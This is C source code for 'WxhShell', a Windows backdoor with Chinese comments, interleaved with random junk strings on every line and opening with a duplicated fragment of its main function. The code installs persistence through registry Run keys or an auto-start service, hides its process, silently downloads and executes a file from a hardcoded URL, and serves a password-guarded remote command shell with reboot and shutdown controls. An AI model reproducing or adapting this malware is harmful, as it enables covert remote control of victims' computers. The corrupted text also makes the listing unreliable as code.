if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >VRo|o<D
WinExec(wscfg.ws_filenam,SW_HIDE); ax-=n(
} ^;V}l?J_s
QE7+rBa
if(!OsIsNt) { 0=N4O!X9
// 如果时win9x，隐藏进程并且设置为注册表启动 vbr~<JT=
HideProc(); 6obQ9L c
StartWxhshell(lpCmdLine); 7j@^+rkr3f
} LFEp
else /`7 IK
if(StartFromService()) E0sbU<11
// 以服务方式启动 "_nX5J9
StartServiceCtrlDispatcher(DispatchTable); +G5'kYzJ
else 4ggVj*{v
// 普通方式启动 z{Hz;m:*_
StartWxhshell(lpCmdLine); >[Xm|A#
2.StG(Y!
return 0; WafdE
} Q;XXgX#l
3mpP|b"
{M`
L\QQjI{
=========================================== 3M}AxEu
'4J&Gpx
B*9
fswZM\@
Eem 2qKj
Ix( 6
" i FC"!23f
=^BqWC2~
#include <stdio.h> o8w-$ Qb
#include <string.h> Nawp t%
#include <windows.h> $@_YdZ!
#include <winsock2.h> YEg .
#include <winsvc.h> q:xtm?'$
#include <urlmon.h> Vil@?Y"
<$"7~i/X
#pragma comment (lib, "Ws2_32.lib") lKf Mp1
#pragma comment (lib, "urlmon.lib") @)
L=d$"Q
#define MAX_USER 100 // 最大客户端连接数 qv.[k<~a>
#define BUF_SOCK 200 // sock buffer IJ hxE
#define KEY_BUFF 255 // 输入 buffer MNkKy(Za
'"Bex`
#define REBOOT 0 // 重启 V%i<;C
#define SHUTDOWN 1 // 关机 %0NLRfp
;])I>BT[
#define DEF_PORT 5000 // 监听端口 dz8-):
Bfbl#ZkyL
#define REG_LEN 16 // 注册表键长度 jIKBgsiF/
#define SVC_LEN 80 // NT服务名长度 cYsR0#
@[n2dmj
// 从dll定义API gBMta+<fE~
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7^c2e*S
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kJ/+IGV^v
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sq?,C&LsA
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EJO.'vQ
4;?1Kb#
// wxhshell配置信息 ?A|zRj{
struct WSCFG { <MRC%!.
int ws_port; // 监听端口 G?>qd}]y0L
char ws_passstr[REG_LEN]; // 口令 K3Huu!Tr
int ws_autoins; // 安装标记, 1=yes 0=no [0K=I64 z
char ws_regname[REG_LEN]; // 注册表键名 7}gA0fP9
char ws_svcname[REG_LEN]; // 服务名 !>\9t9
char ws_svcdisp[SVC_LEN]; // 服务显示名 ;F|jG}M"
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q{O/xLf
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;9K[~
int ws_downexe; // 下载执行标记, 1=yes 0=no IoQr+:_R
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x]H3Y3
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^GN5vT+:'
`hzd|GmX
}; 2K Pqu:lv
'zE: fLo
// default Wxhshell configuration F/)f,sZF
struct WSCFG wscfg={DEF_PORT, KUbJe)}g
"xuhuanlingzhe", OE6#YT
1, P;jlHZ9?O
"Wxhshell", y*_K=}pk
"Wxhshell", RTA%hCr!
"WxhShell Service", C:Vv!u
"Wrsky Windows CmdShell Service", yj>){NcX
"Please Input Your Password: ", HP#ki!'
1, 9_eS`,'
"http://www.wrsky.com/wxhshell.exe", =+`D
"Wxhshell.exe" KvGbDG
}; .Xi2G@D
q5!0\o:
// 消息定义模块 -P2 @mx%
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {d8^@UL
char *msg_ws_prompt="\n\r? for help\n\r#>"; k@7kNMl
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bH_I7G&m
char *msg_ws_ext="\n\rExit."; fTTm$,f5N
char *msg_ws_end="\n\rQuit."; FWIih5 3`
char *msg_ws_boot="\n\rReboot..."; "X`Qe!zk4
char *msg_ws_poff="\n\rShutdown..."; vnDmFqelz
char *msg_ws_down="\n\rSave to "; @ozm;
qZ#!CPHS
char *msg_ws_err="\n\rErr!"; :sFo
char *msg_ws_ok="\n\rOK!"; &ryiG
[ ynuj3G V
char ExeFile[MAX_PATH]; av)?>J~;
int nUser = 0; Sq<3Rw
HANDLE handles[MAX_USER]; {Wh BoD
int OsIsNt; (Bsw/wv
STw oYn
SERVICE_STATUS serviceStatus; bea|?lK
SERVICE_STATUS_HANDLE hServiceStatusHandle; t~q?lT
f KHse$?_
// 函数声明 M'YJ"
int Install(void); I`3d;l;d
int Uninstall(void); kw3+>{\
int DownloadFile(char *sURL, SOCKET wsh); aJa.U^1{
int Boot(int flag); !f@XDW&R
void HideProc(void); Trpgx
int GetOsVer(void); )x)gHY8;
int Wxhshell(SOCKET wsl); % ^e@`0L
void TalkWithClient(void *cs); 3<+z46`?
int CmdShell(SOCKET sock); a`s/qi
int StartFromService(void); =ydpU<aS
int StartWxhshell(LPSTR lpCmdLine); <W?WUF
7O"hiDQ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ("b*? : B
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %Or2iuO%-,
_nP)uU$
// 数据结构和表定义 w\p9J0
SERVICE_TABLE_ENTRY DispatchTable[] = DDWp4`CS|
{ [Q|M/|mnR1
{wscfg.ws_svcname, NTServiceMain}, 9Kx<\)-GMD
{NULL, NULL} *G\=i A
}; >C:If0S4X
EPv%LX_j
// 自我安装 b1H7
int Install(void) URLk9PI
{ x+K gc[r
char svExeFile[MAX_PATH]; UPR/XQ
HKEY key; %iX/y
strcpy(svExeFile,ExeFile); h>| g2h
^zHRSO
// 如果是win9x系统，修改注册表设为自启动 CGkI\E
if(!OsIsNt) { 'P,,<nkr|
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?/)lnj)e{
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u|T%Xy=LU
RegCloseKey(key); Fk aXA.JE
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v:?o3 S
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zx7#)*
RegCloseKey(key); xvdY 8%S
return 0; 8sH50jeP
} -nOq\RYV
} ] ;&"1A
} dok)Je
else { JS PW>W"
w1cw1xX*
// 如果是NT以上系统，安装为系统服务 ",T`\8&@e
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h^Qh9G0dn
if (schSCManager!=0) ETe-
{ "U*5Z:8?9
SC_HANDLE schService = CreateService YroNpu]s
( .x>HA^4
schSCManager, %OEq,Tb
wscfg.ws_svcname, FZH-q!"^cK
wscfg.ws_svcdisp, Ajg\aof0{
SERVICE_ALL_ACCESS, uS&LG#a
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0`6),R'x
SERVICE_AUTO_START, rtus`A5p
SERVICE_ERROR_NORMAL, ![).zi+m
svExeFile, +O4(a.
NULL, ZJ9x6|q
NULL, Ox~ 9_d
NULL, l0. FiO@_Q
NULL, #3.\j"b
NULL z(rK^RT
); h07eEg
if (schService!=0) /7x\;&bc
{ HgaZbb>'
CloseServiceHandle(schService); nGns}\!7'
CloseServiceHandle(schSCManager); GyuV %
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =&N$Vqn
strcat(svExeFile,wscfg.ws_svcname); -<PC"B
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mTJ"l(,3
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jFG5)t<D
RegCloseKey(key); EavX8r
return 0; S*xhX1yUi
} @UV{:]f~e
} R5gado
CloseServiceHandle(schSCManager); dl_{iMhF&E
} u0g*O]Y
} %Lyz_2q A
1|]xo3j"'
return 1; dqxd3,Z
} ,z G(u 1
%<AS?Ry
// 自我卸载 W_%W%i|
int Uninstall(void) ^4 8\>-Q\
{ e"~)Utk
HKEY key; gJk[Ja
VXwPdMy*L
if(!OsIsNt) { ogJ<e_m
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t$5jx
RegDeleteValue(key,wscfg.ws_regname); ZtR&wk
RegCloseKey(key); 26 ?23J ;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dp`HeSKU^
RegDeleteValue(key,wscfg.ws_regname); SY|Ez!tU:N
RegCloseKey(key); uOre,AQR
return 0; ikIzhUWE
} kZv*rWAm
} 9ad6uTc
} C.( yd$,
else { f1J%]g!
r6MB"4xd
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V_f`0\[x
if (schSCManager!=0) =hGJAU
{ '#<> "|
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y&g&n o_
if (schService!=0) drIK(u\_
{ l2s{~IC
if(DeleteService(schService)!=0) { pC^2Rzf
CloseServiceHandle(schService); 'W(xgOP1
CloseServiceHandle(schSCManager); (AuPZ
return 0; "S(yZ6r"
} p-Pz=Cx-
CloseServiceHandle(schService); [;FofuZ
} ?@DNsVwb
CloseServiceHandle(schSCManager); nj
} E(;i>
} x2m]Us@LIU
LipxAE?O
return 1; 9~~UM<66W
} np=kTJ
`iQqhx
// 从指定url下载文件 wVE:X3Ei
int DownloadFile(char *sURL, SOCKET wsh) (6clq:c7j
{ $rB6<
HRESULT hr; Y"*:&E2)r
char seps[]= "/"; ^K;hn,R=
char *token; Pin/qp&Fa8
char *file; +Vy_9I(4Z
char myURL[MAX_PATH]; yd*3)6=
char myFILE[MAX_PATH]; {*$9,
i-.c=M
strcpy(myURL,sURL); N~| t!G*9
token=strtok(myURL,seps); S=PJhAF
while(token!=NULL) W&KM/9d
{ S(w\ZC
file=token; !W~<q{VTs
token=strtok(NULL,seps); sOz sY7z3Z
} I7zn>^0}
JiA'BEJN
GetCurrentDirectory(MAX_PATH,myFILE); v)+@XU2wZ
strcat(myFILE, "\\"); "Yby
strcat(myFILE, file); !+KhFC&Py
send(wsh,myFILE,strlen(myFILE),0); eT-9
send(wsh,"...",3,0); {(Fe7,.S3
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t!~S9c
if(hr==S_OK) + Kk@Q
return 0; u|OtKq
else :1MMa6
return 1; hDvpOIUL1
Gkmsaf>
} "lrA%~3%[P
N,|r1u9X#
// 系统电源模块 A?,A(-0C
int Boot(int flag) $:;%bjSI
{ l[*sHi
HANDLE hToken; u5F}(+4r
TOKEN_PRIVILEGES tkp; 1.0J2nZpt
{i;6vRr
if(OsIsNt) { 7"K^H]6u30
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z6cYC,
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IN_gF_@%
tkp.PrivilegeCount = 1; C{&)(#*L
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^Plc}W7h
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m[rL\](-
if(flag==REBOOT) { eEP( ).
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SH=:p^J
return 0; =~JfVozU
} JO}?.4B
else { ,]q%/yxi
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RUX8qT(Z
return 0; t3>$|}O]t
} =:/>6H1x
} L$hc,
else { R@n5AN(
if(flag==REBOOT) { rJV?)=Z
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s0lYj@E'
return 0; .eY`Ri<3t
} I4~^TrznRa
else { }e2F{pQ
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WsB3SFNG
return 0; ^1VbH3M
} DqlK.
} 2LK]Q/WG,+
]3+``vL
return 1; 5Eal1Qu
} }p*?1N
<4f,G]UH_
// win9x进程隐藏模块 h.^o)T
void HideProc(void) uP6-cs
{ TPK@*9rI
SUu >6'LN
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >a@>N
if ( hKernel != NULL ) +?V0:Kz]
{ [+gzdLad
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l&|)O6N
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &k+*3.X
FreeLibrary(hKernel); ev"M;"y
} JY@X2'>v/
g@u;Y5
return; O<`,,^4w/
} =G>.-Qfs
xFwXW)
// 获取操作系统版本 27iy4(4
int GetOsVer(void) _+n;A46
{ w[sR7T9*
OSVERSIONINFO winfo; [Xh\mDU.
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pYh!]0n
GetVersionEx(&winfo); $T/#1w P
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) = t-fYV
return 1; PCZ]R
else +6376$dC
return 0; @/(@/*+"
} LzE/g)>
$iHoOYx]<
// 客户端句柄模块 ZqP7@fO_%
int Wxhshell(SOCKET wsl) #TATqzA
{ +c r
SOCKET wsh; &57U? oY
struct sockaddr_in client; !qw4mN
DWORD myID; ,R}Z=w#
$}4K`Iu
while(nUser<MAX_USER) 2&x7W*
{ oZ-FF'
int nSize=sizeof(client); GA ik;R
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8f-:d]
if(wsh==INVALID_SOCKET) return 1; ;dOs0/UM&
Mciq-c)
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y}/c N\
if(handles[nUser]==0) gVA; `<
closesocket(wsh); =)*JbwQ
else .+vd6Uc5a
nUser++; XNlhu^jh
} C fSl 54
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n}:t<
17i$8
return 0; H/`G
} a[i>;0
Xl?YBZ}
// 关闭 socket Y-]YDXrPQ
void CloseIt(SOCKET wsh) e`AUYli"
{ fkG##!
closesocket(wsh); 4,zvFH*AH
nUser--; }!=U^A)
ExitThread(0); 97S? ;T
} '=@r7g.2
0d`5Gy_D%
// 客户端请求句柄 4Cd#sQ
void TalkWithClient(void *cs) _NT[ ~M_Q
{ ~lk@6{`l|1
48k7/w\
SOCKET wsh=(SOCKET)cs; Uz $ @(C
char pwd[SVC_LEN]; RJ*F>2
char cmd[KEY_BUFF]; f@x_#ov
char chr[1]; \n;g2/VjO
int i,j; mmcdtVe
_4!{IdR
while (nUser < MAX_USER) { &SrGh$:X
UM`nq;>
if(wscfg.ws_passstr) { .HCaXFW
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R=Ymo.zs6
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5v3RVaqZ
//ZeroMemory(pwd,KEY_BUFF); O8[k_0@
i=0; 6y9C@5p}B
while(i<SVC_LEN) { u?Z <n:
`I{tZ$iD
// 设置超时 ?UJSxL
fd_set FdRead; ?~ ?Hdv
struct timeval TimeOut; {wv&t R;
FD_ZERO(&FdRead); }1F6?do3&
FD_SET(wsh,&FdRead); &M=3{[
TimeOut.tv_sec=8; EIPnm%{1
TimeOut.tv_usec=0; c"qPTjY
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w49{-Pp[
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /4-}k
\kyM}5G(<0
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x,f>X;04
pwd=chr[0]; Mlwdha0
if(chr[0]==0xd || chr[0]==0xa) { !3?yG
pwd=0; +0dT^Jkqg
break; .OV-`TNWj
} ,m3":{G:t.
i++; -~} tq]
} w#<p^CS
egWx9xX
// 如果是非法用户，关闭 socket o"\{OX
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p>&S7M/9
} -tMA
b@!:=_Mr
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *7_@7=W,
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ez+yP,.#
NFV_+{X\
while(1) { ?lyltAxs'
8J):\jAZ6
ZeroMemory(cmd,KEY_BUFF); *V-ds8AQ
`$M etQ
// 自动支持客户端 telnet标准 mV%h[~-
j=0; ]Ly8s#<g]N
while(j<KEY_BUFF) { D Kq-C%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ? osfL
cmd[j]=chr[0]; %b9fW
if(chr[0]==0xa || chr[0]==0xd) { ]xYayN!n
cmd[j]=0; X+%u(>>
break; T(gg>_'jh
} %:%MUdl6
j++; 4ODX5If
} cPJ7E
T1bFxim#b
// 下载文件 pW7kj&a_.
if(strstr(cmd,"http://")) { G\):2Qz!|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (Wn "3 ]
if(DownloadFile(cmd,wsh)) l<Lz{)OR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?l>e75V%w
else Y!aLf[x]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7g8B'ex J
} <0>[c<{V<
else { {n6\g]p3
mgxz1d
switch(cmd[0]) { {RH*8?7
'Nw6.5
// 帮助 @EYK(QS-
case '?': { (]}XLMi,|!
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _Po#ZGm~
break; Z<I[vp6{
} 8| Sba<d
// 安装 ZRUh/<\[
case 'i': { [C2kK *JZ
if(Install()) }pt-q[s>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J7_8$B-j7
else c9|I4=_K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EL"4E',
break; kv/(rKLp*
} jXtLo,km
// 卸载 (%.</|u
case 'r': { We|-5
if(Uninstall()) [1mIdwS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bIq-1 Y(
else <jg8y'm@0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x)d2G6x
break; |KTpK(6p
} nwhm[AaNs
// 显示 wxhshell 所在路径 FRc |D
case 'p': { y. Tct.
char svExeFile[MAX_PATH]; > e;]mU`,
strcpy(svExeFile,"\n\r"); UUD\bWfn
strcat(svExeFile,ExeFile); JTjzT2`A.
send(wsh,svExeFile,strlen(svExeFile),0); 8.PXTOhVL
break; Z5yt]-WN&
} 'H|;%J6d>
// 重启 *TJ<
case 'b': { q;IhLBl'
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |HNQ|r_5S
if(Boot(REBOOT)) p FXd4*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~T;K-9R
else { r,QJG$ Jo
closesocket(wsh); #%;<FFu\
ExitThread(0); Q.*'H_Y
} V2lp7"
break; UP5%C;
} ^GrNfB[Qu
// 关机 xu`d`!Tx
case 'd': { Vvxa.B
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S[ws0Y60
if(Boot(SHUTDOWN)) *1R##9\jU7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~>.awu+o|
else { neK*jdaP
closesocket(wsh); 5c*p2:]
ExitThread(0); r*c82}tc
} )`e^F9L
break; -,[~~
} _!|=AIX
// 获取shell ?&{S~[;l
case 's': { h5<T.vV
CmdShell(wsh); h 3eGq:!9
closesocket(wsh); Xqc'R5Cw
ExitThread(0); X S6]C{
break; f2BS[$oV4
} 2Zv,K-G
// 退出 Mr#oT?
case 'x': { ScM}m
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O_qu;Dx!
CloseIt(wsh); sj#{TTW
break; ~+7ad$
} +#^sy>
// 离开 |^ 2rtI
case 'q': { QJ[(Y@ O6a
send(wsh,msg_ws_end,strlen(msg_ws_end),0); C]aOgt/U
closesocket(wsh); ru#T^AI*^
WSACleanup(); Z $ p^v*y
exit(1); )6PJ*;p-
break; ,?P8m"
} Lw!?T(SK
} K<Yn_G
} mrhsKmH
2<p5_4"-U*
// 提示信息 FSI]k:
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^yzo!`)fso
} a*pXrp@
} 0+$hkd n
2&zn^\%"
return; & y#y>([~
} 9_g>BI;"8
&':UlzG
// shell模块句柄 FKDamHL<
int CmdShell(SOCKET sock) buMiJzU
{ C5.\;;7^&
STARTUPINFO si; Q1P,=T@
ZeroMemory(&si,sizeof(si)); $8<j5%/ $M
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GapX$Jb,p
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zav*
PROCESS_INFORMATION ProcessInfo; TmRrub
char cmdline[]="cmd"; 'LtgA|c=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ek gZxT_&
return 0; M6@'9E]|>
} ~(Ih~/5\^
yVu^ >
// 自身启动模式 PV5TG39qQ
int StartFromService(void) 3fbD"gL
{ 3n}sCEt=
typedef struct |SSfG~r
{ E.5*Jr=J
DWORD ExitStatus; !#cKF6%
DWORD PebBaseAddress; 4OqE.LFu
DWORD AffinityMask; aPcGI
DWORD BasePriority; {9m!UlTtw
ULONG UniqueProcessId; Vz=j)[
ULONG InheritedFromUniqueProcessId; l^!0|/Vw
} PROCESS_BASIC_INFORMATION; 1I:"0("}
ZmYa.4'L
PROCNTQSIP NtQueryInformationProcess; 4iL.4Uj{N
~T;ajvJ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P?WT)C2)u
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $=@9 D,R
7(nz<z p
HANDLE hProcess; <:kTTye|
PROCESS_BASIC_INFORMATION pbi; ]$XBd{\D{
T_YMM'`
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a[d{>Fb.
if(NULL == hInst ) return 0; i;uG:,ro
Gdc~Lh
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &VZmP5Gv
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !h`cXY~w
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9;xL!cy
w<I5@)i|
if (!NtQueryInformationProcess) return 0; 0NuL9
HNkZ1+P {
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b_K?ocq
if(!hProcess) return 0; f:JYG]E&
Fw_bY/WN{
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )ZQ9a4%
4cVs(`g^
CloseHandle(hProcess); R~x;X3
x]mye
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {Vt^Xc
if(hProcess==NULL) return 0; >? A `C!i
w#gU1yu
HMODULE hMod; z9);e8ck
char procName[255]; 8h@)9Q]d\
unsigned long cbNeeded; l/y Kc8^<
4%#V^??E
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9$4/frd
qMW%$L\HA
CloseHandle(hProcess); hVt+%tmNy
.SKNIct M
if(strstr(procName,"services")) return 1; // 以服务启动 ; ei<Q =[
!lt\2Ae
return 0; // 注册表启动 `|ck5DZT5L
} 6S+K*/w
oE|u;o
// 主模块 X{9JSq
int StartWxhshell(LPSTR lpCmdLine) 4E>/*F!
{ C^8)IN=$
SOCKET wsl; U d=gdsL
BOOL val=TRUE; 3 DO$^JJ.
int port=0; 1>*UbV<R;u
struct sockaddr_in door; 0[$Mo3c+'
DbNi;m
if(wscfg.ws_autoins) Install(); J*q=C%}.
nV,{w4t+
port=atoi(lpCmdLine); R1b )
tr9_bl&z
if(port<=0) port=wscfg.ws_port; y uK5r
wYcz\uV
WSADATA data; +y{93nl
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3Av(|<cR
2*7s9g
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :.'T+LI
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1l`s1C
door.sin_family = AF_INET; J9$]]\52s.
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~jRk10T(B
door.sin_port = htons(port); UV *tO15i
xjn8)C
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zN8V~M;
closesocket(wsl); AN:RY/ %Wo
return 1; e2=,n6N]c
} V[M$o
coP$7Q .
if(listen(wsl,2) == INVALID_SOCKET) { j5VRv$P
closesocket(wsl); lWyP[>*
return 1; ^6NABXL
} SUnmp
Wxhshell(wsl); r1az=$
WSACleanup(); Cak/#1
C&s }m0R
return 0; |uBot#K|
O^="T^J
} KHs{/
N mjBJ_G
// 以NT服务方式启动 ^D>MDj6
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5z(>4d!
{ @vYN7
DWORD status = 0; E.Q} \E
DWORD specificError = 0xfffffff; Z :i"|;
.Zo9^0`C
serviceStatus.dwServiceType = SERVICE_WIN32; ~C*6V{Tj
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ka9v2tE\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U=cWvr65
serviceStatus.dwWin32ExitCode = 0; )}9}"jrDlx
serviceStatus.dwServiceSpecificExitCode = 0; 3=L1HZH
serviceStatus.dwCheckPoint = 0; F>_lp,G
serviceStatus.dwWaitHint = 0; E#X!*q&
WSB|-Qj}W
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M(]|}%
if (hServiceStatusHandle==0) return; n)?F 9Wap
o? xR[N-J
status = GetLastError(); bHH}x"d[x
if (status!=NO_ERROR) !.GY~f<d$
{ Ud(dWj-/
serviceStatus.dwCurrentState = SERVICE_STOPPED; /$4?.qtu
serviceStatus.dwCheckPoint = 0; =smY/q^3
serviceStatus.dwWaitHint = 0; aFc'_FrQ
serviceStatus.dwWin32ExitCode = status; Y(!)G!CMc
serviceStatus.dwServiceSpecificExitCode = specificError; UmI@":|-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 96V, [-arf
return; 3SB7)8Id1
} /z-C :k\
HE<%d
serviceStatus.dwCurrentState = SERVICE_RUNNING; r-"`Abev
serviceStatus.dwCheckPoint = 0; jw%FZ
serviceStatus.dwWaitHint = 0; #FDu4xi
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1sJJ"dC.w
} ?(L?X&)v
Dlsa(
// 处理NT服务事件，比如：启动、停止 e$+? v2.
VOID WINAPI NTServiceHandler(DWORD fdwControl) n\)f.}YD8d
{ 1bAp{u&
switch(fdwControl) *oJ>4S
{ 5lA 8e
case SERVICE_CONTROL_STOP: ^@w1Z{:
serviceStatus.dwWin32ExitCode = 0; _ ~$0cj<
serviceStatus.dwCurrentState = SERVICE_STOPPED; =ir;m
serviceStatus.dwCheckPoint = 0; XV9'[V
serviceStatus.dwWaitHint = 0; }sNZQ89V*v
{ Z5^UF2`Q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |2]WA'q
} WaK{/6?T,
return; }Mlz\'{
case SERVICE_CONTROL_PAUSE: ]mU*Y:<
serviceStatus.dwCurrentState = SERVICE_PAUSED; L=Jk"qWV0
break; dz.MH
case SERVICE_CONTROL_CONTINUE: 9-<V%eNX
serviceStatus.dwCurrentState = SERVICE_RUNNING; [0 f6uIF
break; rTiuQdvo
case SERVICE_CONTROL_INTERROGATE: J#;m)5[ a%
break; <6@NgSFz'
}; x,*t/nzR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .4)P=*
} %;B'>$O
&T.P7nJ=
// 标准应用程序主函数 IIEU{},}z
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /PuWJPy;
{ L ]'CA^N
2%%U)|39mB
// 获取操作系统版本 aRKG)0=
OsIsNt=GetOsVer(); 1{glRY'
GetModuleFileName(NULL,ExeFile,MAX_PATH); e ^&8x
g}j>;T
// 从命令行安装 DLQ`<aU
if(strpbrk(lpCmdLine,"iI")) Install(); }XE/5S}D
Y]Nab0R&
// 下载执行文件 PvCE}bY{}
if(wscfg.ws_downexe) { v2z/|sG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )bg,rESM
WinExec(wscfg.ws_filenam,SW_HIDE); Jg6[/7*m
} _NN{Wk/3w
m1Z8SM+
if(!OsIsNt) { ~ a&j4E
// 如果时win9x，隐藏进程并且设置为注册表启动 bg. KkJMrR
